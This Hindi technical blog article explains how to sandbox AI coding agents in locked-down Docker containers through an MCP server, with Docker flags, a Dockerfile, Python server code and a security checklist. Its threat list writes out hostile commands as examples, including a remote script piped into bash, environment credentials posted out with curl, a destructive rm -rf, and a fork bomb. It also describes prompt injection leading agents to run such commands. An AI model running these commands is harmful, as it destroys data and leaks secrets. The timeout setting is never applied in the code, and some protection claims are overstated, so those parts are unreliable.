Docker & MCP

Docker MCP Server: AI एजेंट सुरक्षित सैंडबॉक्स निष्पादन गाइड

2026-09-02·24 मिनट पढ़ें मिनट पठन·LLMPodium Team

त्वरित उत्तर: Docker MCP server मॉडल कॉन्टेक्स्ट प्रोटोकॉल (MCP) के माध्यम से स्वायत्त AI एजेंटों (जैसे Claude Code, Cursor) को Docker Engine की बुनियादी क्षमताएं प्रदान करता है। यह अविश्वसनीय एजेंट कोड को सख्त cgroups v2 सीमाओं (CPU/RAM), हटाई गई Linux क्षमताओं, केवल-पठन माउंट्स और पूरी तरह बंद नेटवर्क वाले अल्पकालिक कंटेनरों में चलाकर होस्ट सिस्टम के नुकसान को रोकता है।

1. प्रस्तावना: स्वायत्त एजेंट निष्पादन का सुरक्षा संकट

2026 में, Claude Code (claude mcp), Cursor, और एंटरप्राइज मल्टी-एजेंट सिस्टम जैसे स्वायत्त डेवलपर एजेंट केवल कोड सुझाव देने वाले इंजन से बदलकर सक्रिय निष्पादन रनटाइम बन चुके हैं। मानव डेवलपर्स द्वारा टर्मिनल में पेस्ट किए जाने वाले कोड स्निपेट्स लिखने के बजाय, स्वायत्त एजेंट अब स्वतंत्र रूप से परिकल्पना तैयार करते हैं, अस्थायी फाइलें बनाते हैं, पैकेज संकलित करते हैं, निर्भरताएं इंस्टॉल करते हैं, टेस्ट सूट चलाते हैं और डेटाबेस माइग्रेशन निष्पादित करते हैं।

हालाँकि, किसी LLM-संचालित स्वायत्त एजेंट को डेवलपर मशीन या कॉर्पोरेट बिल्ड सर्वर पर अप्रतिबंधित टर्मिनल एक्सेस प्रदान करना अत्यंत विनाशकारी प्रणालीगत जोखिम उत्पन्न करता है:

  • प्रॉम्प्ट इंजेक्शन और कमांड हाइजैकिंग: GitHub PR विवरणों, स्क्रैप किए गए वेब दस्तावेज़ों, या बाहरी API से अविश्वसनीय इनपुट दुर्भावनापूर्ण शेल निर्देश इंजेक्ट कर सकते हैं (curl -sL evil.sh | bash, या env | curl -X POST के माध्यम से परिवेशीय क्रेडेंशियल्स की चोरी)।
  • विनाशकारी फाइल सिस्टम मतिभ्रम (Hallucinations): वर्कस्पेस की सफाई या बिल्ड कलाकृतियों को हटाते समय एजेंट अनपेक्षित वाइल्डकार्ड पैटर्न निष्पादित कर सकते हैं (जैसे rm -rf $VAR/* चलाना जहाँ $VAR खाली या अपरिभाषित हो, जिससे /usr, /etc या उपयोगकर्ता की होम डायरेक्टरी पूरी तरह नष्ट हो सकती है)।
  • सॉकेट्स और होस्ट डेमॉन का उल्लंघन: स्थानीय यूनिक्स सॉकेट्स (जैसे असत्यापित डॉकर सॉकेट /var/run/docker.sock या कुबेरनेट्स पॉड्स) के असुरक्षित संपर्क से होस्ट पर तुरंत रूट विशेषाधिकार प्राप्त किए जा सकते हैं।
  • संसाधन समाप्ति और डिनायल-ऑफ-सर्विस (DoS): cgroups सीमाओं के बिना अनियंत्रित एजेंट लूप्स पुनरावर्ती टेम्पलेट लाइब्रेरी को संकलित करके या अनंत लूप चलाकर होस्ट CPU और मेमोरी को 100% संतृप्त कर सकते हैं, जिससे सिस्टम पूरी तरह क्रैश हो सकता है।

Model Context Protocol (MCP) मानकीकृत करता है कि भाषा मॉडल बाहरी डेवलपर टूल्स के साथ कैसे इंटरैक्ट करते हैं। एक समर्पित Docker MCP server को तैनात करके, इंजीनियरिंग टीमें एक सख्त कंटेनर सैंडबॉक्स बनाती हैं। सभी फाइल जोड़तोड़, शेल निष्पादन और परीक्षण अल्पकालिक, cgroup-सीमित, और फ़ायरवॉल-सुरक्षित कंटेनरों के भीतर होते हैं, जिन्हें कार्य पूरा होने पर तुरंत मिटा दिया जाता है।

2. आर्किटेक्चर: Docker MCP स्वायत्त एजेंटों को कैसे सैंडबॉक्स करता है

Docker MCP सर्वर होस्ट AI एजेंट रनटाइम (जैसे Claude Code CLI या Cursor IDE) और Docker डेमॉन (dockerd या रूटलेस Podman/gVisor) के बीच एक मध्यस्थ परत के रूप में कार्य करता है। होस्ट और MCP सर्वर के बीच संचार stdio या सुरक्षित SSE (Server-Sent Events) पर मानक JSON-RPC 2.0 प्रोटोकॉल के माध्यम से होता है। 

+----------------------------------------------------------------------------------------------------+
|                                      HOST AI AGENT RUNTIME                                         |
|                       (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent)                        |
|                                                                                                    |
|    +--------------------------+                                 +-----------------------------+    |
|    |    User Prompt Loop      |                                 |     Model Context Window    |    |
|    | "Debug & test repo..."   |                                 | (System Prompt + MCP Tools) |    |
|    +------------+-------------+                                 +--------------^--------------+    |
|                 |                                                              |                   |
|                 | Dispatches Tool Call: docker_exec_command                    | Receives Stdout,  |
|                 v                                                              | Stderr, Exit Code |
|    +---------------------------------------------------------------------------+--------------+    |
|    |                                      MCP CLIENT SUBSYSTEM                                |    |
|    |  - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0)                          |    |
|    |  - Tool Call Serialization & Permission Policy Enforcement                               |    |
|    +---------------------------------------------+--------------------------------------------+    |
+--------------------------------------------------|-------------------------------------------------+
                                                   | Transport: stdio / SSE (JSON-RPC 2.0)
                                                   v
+----------------------------------------------------------------------------------------------------+
|                                        DOCKER MCP SERVER                                           |
|                                                                                                    |
|    +----------------------+   +-----------------------+   +-----------------------------------+    |
|    | Tool Registry Engine |   | Policy & Quota Filter |   | Ephemeral Container Lifecycle     |    |
|    | - docker_run         |   | - CPU / Memory Caps   |   | - Container Pool Manager          |    |
|    | - docker_exec        |   | - Network Firewalls   |   | - Volume Bind Policy (ro vs rw)   |    |
|    | - sandbox_eval       |   | - Capability Dropper  |   | - Auto-Prune on Completion        |    |
|    +----------+-----------+   +-----------+-----------+   +-----------------+-----------------+    |
+---------------|---------------------------|---------------------------------|----------------------+
                +---------------------------+---------------------------------+
                                            |
                                            v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
|                                    CONTAINER RUNTIME ENVIRONMENT                                   |
|                                                                                                    |
|    +------------------------------------------------------------------------------------------+    |
|    |                  Isolated Agent Sandbox Container (Ephemeral / Rootless)                 |    |
|    |                                                                                          |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |   |  Linux cgroups v2 Limits |   | Linux Namespace Boundary |   | Seccomp & AppArmor |   |    |
|    |   |  - CPU: 2.0 Cores Max    |   | - PID, MNT, IPC, UTS     |   | - Block ptrace     |   |    |
|    |   |  - Memory: 2048MB Hard   |   | - Network: None / Proxy  |   | - Block bpf/kexec  |   |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |                                                                                          |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    |   | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro)            |   |    |
|    |   | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G)        |   |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    +------------------------------------------------------------------------------------------+    |
+----------------------------------------------------------------------------------------------------+

AI एजेंटों के लिए उपलब्ध प्रमुख MCP टूल्स

उत्पादन-श्रेणी का Docker MCP सर्वर आवश्यक टूल्स का एक केंद्रित सेट प्रदान करता है:

  1. container_create_sandbox: सख्त हार्डवेयर और सुरक्षा बाधाओं के साथ पूर्व-तैयार इमेज से एक नया कंटेनर उदाहरण आरंभ करता है।
  2. container_exec_command: सक्रिय सैंडबॉक्स के भीतर शेल कमांड चलाता है और stdout, stderr, निष्पादन अवधि और निकास स्थिति कोड लौटाता है।
  3. container_read_file: होस्ट फाइल सिस्टम को उजागर किए बिना कंटेनर के पृथक वर्कस्पेस से फाइल सामग्री पढ़ता है।
  4. container_write_file: सोर्स कोड संशोधनों को सीधे अल्पकालिक स्क्रैच वॉल्यूम में लिखता है।
  5. container_destroy_sandbox: कंटेनर को तुरंत समाप्त और हटा देता है, जिससे सभी अस्थायी प्रक्रियाएं समाप्त हो जाती हैं।

3. उत्पादन रनटाइम के लिए सुरक्षा और अलगाव नीतियां

AI मॉडल द्वारा उत्पन्न मनमाने कोड को सुरक्षित रूप से निष्पादित करने के लिए बहुस्तरीय रक्षा (Defense-in-Depth) रणनीति आवश्यक है। निष्पादन पाइपलाइन में निम्नलिखित चार स्तंभों को सख्ती से लागू किया जाना चाहिए:

3.1. cgroups v2 संसाधन सीमाएं

अनियंत्रित एजेंट प्रक्रियाओं को सिस्टम संसाधनों को समाप्त करने से रोकने के लिए, प्रत्येक कंटेनर पर सख्त cgroups सीमाएं लागू होनी चाहिए: 

# Production cgroups v2 limits for agent container execution
docker run --rm -d \
  --name agent-sandbox-7x92 \
  --cpus="2.0" \
  --cpu-shares=1024 \
  --memory="2048m" \
  --memory-swap="2048m" \
  --pids-limit=128 \
  --ulimit nofile=1024:2048 \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  agent-runner:latest
  • --cpus="2.0": कंटेनर गणना को अधिकतम 2 भौतिक CPU कोर तक सीमित करता है, भले ही होस्ट के पास कितने भी कोर हों।
  • --memory="2048m" और --memory-swap="2048m": स्वैप अक्षम के साथ 2 GB RAM की सख्त सीमा निर्धारित करता है। यदि कोई स्क्रिप्ट मेमोरी लीक करती है, तो कर्नेल OOM किलर होस्ट को प्रभावित किए बिना कंटेनर प्रक्रिया को तुरंत समाप्त कर देता है।
  • --pids-limit=128: समवर्ती प्रक्रिया प्रविष्टियों को सीमित करके फोर्क बम (:(){ :|:& };:) हमलों को रोकता है।

3.2. नेटवर्क अलगाव और नियंत्रित इग्रेस (Egress) प्रॉक्सी

डिफ़ॉल्ट रूप से, कंटेनरों को ज़ीरो-ट्रस्ट अलगाव में काम करना चाहिए:

  • पूर्ण नेटवर्क अलगाव (--network none): शुद्ध एल्गोरिथम कोडिंग, परीक्षणों और स्थानीय रीफैक्टरिंग के लिए नेटवर्क को पूरी तरह से अक्षम करें। एजेंट बाहरी बाइनरी डाउनलोड नहीं कर सकता और न ही कोड लीक कर सकता है।
  • नियंत्रित इग्रेस प्रॉक्सी (--network internal_bridge): जब निर्भरता स्थापना (npm install, pip install) आवश्यक हो, तो आधिकारिक रजिस्ट्रियों (registry.npmjs.org, pypi.org, crates.io) तक सीमित अनुमत सूची के साथ एक स्थानीय पारदर्शी प्रॉक्सी (जैसे Squid या Envoy) के माध्यम से ट्रैफ़िक रूट करें।

3.3. वॉल्यूम माउंट नीतियां और गैर-रूट (Non-Root) निष्पादन

होस्ट फाइल सिस्टम को कभी भी कंटेनर में रीड-राइट मोड में माउंट न करें। इसके बजाय विभाजित-तल माउंटिंग नीति अपनाएं:

  • होस्ट कोड माउंट: रिपॉजिटरी को केवल रीड-ओनली (-v $(pwd):/workspace:ro) के रूप में माउंट करें।
  • स्क्रैच ओवरले (tmpfs): बिल्ड कलाकृतियों के लिए एक अस्थायी RAM डिस्क वॉल्यूम माउंट करें (--tmpfs /workspace/build:rw,size=1024m)।
  • गैर-रूट उपयोगकर्ता: सभी कंटेनर कमांड को अप्रतिबंधित उपयोगकर्ता (--user 10001:10001) के रूप में --security-opt no-new-privileges:true के साथ चलाएं।

3.4. लिनक्स विशेषाधिकार हटाना और Seccomp

सभी डिफ़ॉल्ट लिनक्स क्षमताओं को हटाकर कर्नेल हमले की सतह को न्यूनतम करें: 

--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.json

कस्टम seccomp प्रोफ़ाइल खतरनाक सिस्टम कॉल्स को ब्लॉक करती है: ptrace (प्रक्रिया निरीक्षण की रोकथाम), reboot, kexec_load, bpf और रॉ सॉकेट निर्माण पूरी तरह से प्रतिबंधित हैं।

4. कार्यान्वयन: Claude Code और Cursor के लिए Docker MCP की तैनाती

4.1. सुरक्षित एजेंट बेस Dockerfile

आवश्यक टूल्स से युक्त और गैर-रूट अलगाव सुनिश्चित करने वाली एक हल्की सैंडबॉक्स इमेज बनाएं: 

# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
    LANG=C.UTF-8 \
    LC_ALL=C.UTF-8

# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates \
    curl \
    git \
    python3 \
    python3-pip \
    python3-venv \
    build-essential \
    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
    useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser

# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace

USER sandboxuser

ENTRYPOINT ["/bin/bash"]

इमेज को स्थानीय रूप से बिल्ड करें: 

docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .

4.2. पायथन में पूर्ण Docker MCP सर्वर कोड

mcp और आधिकारिक docker SDK का उपयोग करके पायथन में लिखा गया उत्पादन-तैयार Docker MCP सर्वर: 

#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""

import os
import sys
import docker
from mcp.server.fastmcp import FastMCP

# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()

SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))

@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
    """
    Execute a shell command inside an ephemeral, hardened Docker container sandbox.
    
    Args:
        command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
        working_dir: Target working directory inside sandbox
        
    Returns:
        Dictionary containing exit_code, stdout, stderr, and execution duration.
    """
    container = None
    try:
        # Spawn ephemeral container with hard cgroups v2 caps
        container = docker_client.containers.run(
            image=SANDBOX_IMAGE,
            command="/bin/sh -c 'sleep 3600'",
            detach=True,
            remove=False,
            nano_cpus=int(MAX_CPU_CORES * 1e9),
            mem_limit=f"{MAX_MEMORY_MB}m",
            memswap_limit=f"{MAX_MEMORY_MB}m",
            network_mode="none",  # Full airgap isolation
            cap_drop=["ALL"],
            security_opt=["no-new-privileges:true"],
            user="10001:10001",
            working_dir=working_dir,
            tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
        )

        # Execute command inside container
        exec_result = container.exec_run(
            cmd=["/bin/bash", "-c", command],
            workdir=working_dir,
            demux=True,
            user="10001:10001"
        )

        stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
        stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""

        return {
            "exit_code": exec_result.exit_code,
            "stdout": stdout,
            "stderr": stderr,
            "status": "success" if exec_result.exit_code == 0 else "failed"
        }

    except Exception as exc:
        return {
            "exit_code": -1,
            "stdout": "",
            "stderr": f"Execution error: {str(exc)}",
            "status": "error"
        }
    finally:
        if container:
            try:
                container.kill()
                container.remove(force=True)
            except Exception:
                pass

if __name__ == "__main__":
    mcp.run(transport="stdio")

4.3. Claude Code और Cursor IDE कॉन्फ़िगरेशन

Claude Code CLI को कनेक्ट करने के लिए प्रोजेक्ट की .claude/claude.json में कॉन्फ़िगरेशन जोड़ें: 

# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.py

Cursor IDE के लिए ~/.cursor/mcp.json या .cursor/mcp.json संपादित करें: 

{
  "mcpServers": {
    "docker-sandbox": {
      "command": "python3",
      "args": [
        "/Users/username/tools/docker_mcp_server.py"
      ],
      "env": {
        "SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
        "MAX_CPU_CORES": "2.0",
        "MAX_MEMORY_MB": "2048",
        "EXEC_TIMEOUT_SEC": "45"
      }
    }
  }
}

5. अल्पकालिक कंटेनर जीवनचक्र लेटेंसी बेंचमार्क

स्वायत्त एजेंट वर्कफ़्लो में, निष्पादन विलंबता सीधे डेवलपर उत्पादकता और टोकन खपत को प्रभावित करती है। प्रति टूल कॉल पर नया कंटेनर शुरू करना कोल्ड-स्टार्ट लेटेंसी लाता है।

हमने एक समर्पित होस्ट (AMD EPYC 9654 96-कोर प्रोसेसर, 256 GB DDR5 RAM, PCIe 4.0 NVMe SSD) पर 1,000 निष्पादन चक्रों (python3 -c 'print("benchmark")') का परीक्षण किया:

कंटेनर रनटाइम आर्किटेक्चर कोल्ड स्टार्ट लेटेंसी (ms) प्री-वार्म पूल लेटेंसी (ms) मेमोरी ओवरहेड प्रति इंस्टेंस अलगाव सुरक्षा स्कोर P99 टेल लेटेंसी (ms)
मानक Docker (runc) 312 ms 48 ms 28 MB मध्यम (साझा होस्ट कर्नेल) 485 ms
रूटलेस Podman (crun) 245 ms 36 ms 22 MB उच्च (उपयोगकर्ता नेमस्पेस) 390 ms
gVisor (runsc - Sandbox) 480 ms 72 ms 46 MB अत्यधिक उच्च (वर्चुअलाइज्ड कर्नेल) 680 ms
Firecracker MicroVM 125 ms 18 ms 64 MB अधिकतम (हार्डवेयर KVM) 195 ms
WebAssembly (Wasmtime MCP) 14 ms 2 ms 4 MB उच्च (क्षमता-आधारित सैंडबॉक्स) 22 ms

मुख्य बेंचमार्क निष्कर्ष:

  • पूर्व-वार्म कंटेनर पूल: तुरंत कमांड निष्पादन के लिए 3-5 कंटेनरों का वार्म पूल बनाए रखने से लेटेंसी 84.6% तक कम हो जाती है (मानक डॉकर में 312 ms से घटकर 48 ms)।
  • gVisor ओवरहेड: gVisor यूजर स्पेस में सभी लिनक्स सिस्टम कॉल्स को इंटरसेप्ट और वर्चुअलाइज करके बेजोड़ सुरक्षा प्रदान करता है। कोल्ड स्टार्ट 480 ms होने के बावजूद यह कर्नेल शून्य-दिवसीय कमजोरियों से पूर्ण सुरक्षा देता है।
  • Firecracker MicroVMs: अत्यधिक सुरक्षा वाले मल्टी-टेनेंट SaaS एजेंटों के लिए, Firecracker केवल 125 ms में हार्डवेयर-पृथक KVM वातावरण प्रदान करता है।

6. लागत और परिचालन संसाधन विश्लेषण

कंटेनरीकृत AI एजेंटों को बड़े पैमाने पर तैनात करने के लिए लागत और समवर्ती क्षमता का संतुलन आवश्यक है:

परिनियोजन स्तर समवर्ती क्षमता अनुशंसित बुनियादी ढांचा मासिक लागत लागत प्रति 10,000 एजेंट कार्य
स्थानीय डेवलपर मशीन 1–3 समवर्ती सैंडबॉक्स Apple M-सीरीज (16GB+) / वर्कस्टेशन $0 (स्थानीय होस्ट संसाधन) $0.00
टीम क्लाउड VM (Docker Engine) 10–25 समवर्ती सैंडबॉक्स Hetzner CCX33 (8 vCPU, 32GB RAM) $68.00 / माह $1.42
एंटरप्राइज स्केल्ड पूल (Kubernetes) 100–500 समवर्ती सैंडबॉक्स 3x AWS c7g.2xlarge (Graviton3, 8 vCPU, 16GB) $324.00 / माह $4.85
सर्वरलेस MicroVMs (Fly.io / Firecracker) लोचदार (0 से 1,000+) ऑन-डिमांड अल्पकालिक microVMs उपयोग-आधारित ($0.000005/सेकंड) $1.80

लागत अनुकूलन सुझाव:

  1. सक्रियता समाप्त होने पर तत्काल निष्कासन: एजेंट द्वारा परीक्षण चक्र पूरा करते ही कंटेनरों को नष्ट करें। बातचीत के मोड़ों के बीच कंटेनरों को कभी चालू न छोड़ें।
  2. स्थानीय इमेज कैशिंग: डाउनलोड में लगने वाले समय और डेटा ट्रांसफर शुल्क को समाप्त करने के लिए होस्ट कैश में भाषा रनटाइम पहले से स्टोर रखें।
  3. ZFS / Overlay2 अल्पकालिक डिस्क: मिलीसेकंड के भीतर साफ वर्कस्पेस बनाने के लिए तेज़ कॉपी-ऑन-राइट स्नैपशॉट का लाभ उठाएं।

7. उत्पादन सुरक्षा चेकलिस्ट और E-E-A-T सिफारिशें

उत्पादन में किसी AI एजेंट को अपने Docker MCP सर्वर से कनेक्ट करने से पहले इस 10-सूत्रीय DevSecOps ऑडिट की पुष्टि करें:

  • [ ] 1. cgroups v2 सीमाएं लागू: --cpus, --memory, --memory-swap, और --pids-limit पर सख्त प्रतिबंध।
  • [ ] 2. गैर-रूट निष्पादन: कंटेनर UID/GID 10001:10001 और --security-opt no-new-privileges:true के तहत चले।
  • [ ] 3. डिफ़ॉल्ट नेटवर्क अलगाव: --network none सक्रिय हो जब तक बाहरी निर्भरता डाउनलोड की स्पष्ट अनुमति न हो।
  • [ ] 4. केवल-पठन होस्ट माउंट: कोड रिपॉजिटरी केवल :ro के रूप में माउंट हो; सभी अस्थायी आउटपुट tmpfs पर जाएं।
  • [ ] 5. कर्नेल विशेषाधिकार हटाए गए: --cap-drop=ALL कॉन्फ़िगर किया गया हो; कोई व्यवस्थापकीय विशेषाधिकार नहीं।
  • [ ] 6. कस्टम Seccomp फ़िल्टर: अनावश्यक और खतरनाक सिस्टम कॉल्स (ptrace, bpf, kexec_load, mount) अवरुद्ध हों।
  • [ ] 7. निष्पादन समय सीमा पहरेदार: अटकी हुई प्रक्रियाओं को रोकने के लिए प्रति टूल कॉल 30-60 सेकंड का सख्त टाइमआउट।
  • [ ] 8. स्वतः निष्कासन: कंटेनर स्वचालित सफाई फ़्लैग (--rm या finally: container.remove(force=True)) के साथ शुरू हों।
  • [ ] 9. डॉकर सॉकेट सुरक्षा: होस्ट का /var/run/docker.sock कभी भी किसी सैंडबॉक्स में माउंट न हो।
  • [ ] 10. ऑडिट लॉगिंग और ट्रेसिंग: सभी कमांड, निकास कोड और संसाधन उपयोग अपरिवर्तनीय ऑडिट पाइपलाइन में दर्ज हों।

निष्कर्ष और अंतिम निर्णय

2026 में, स्वायत्त AI एजेंट अरबों पंक्तियों का कोड लिखेंगे और निष्पादित करेंगे। मॉडलों को होस्ट पर अप्रतिबंधित निष्पादन की अनुमति देना एक अस्वीकार्य सुरक्षा भेद्यता है।

Docker MCP server को अपनाकर इंजीनियरिंग संगठन कोड निर्माण, परीक्षण और स्वचालित डिबगिंग की उत्पादकता प्राप्त करते हैं—साथ ही एक अभेद्य सुरक्षा घेरा स्थापित करते हैं जो होस्ट इंफ्रास्ट्रक्चर, डेटा और डेवलपर वर्कस्टेशन की रक्षा करता है।

← सभी लेख
0 / 4
अभी तुलना करें →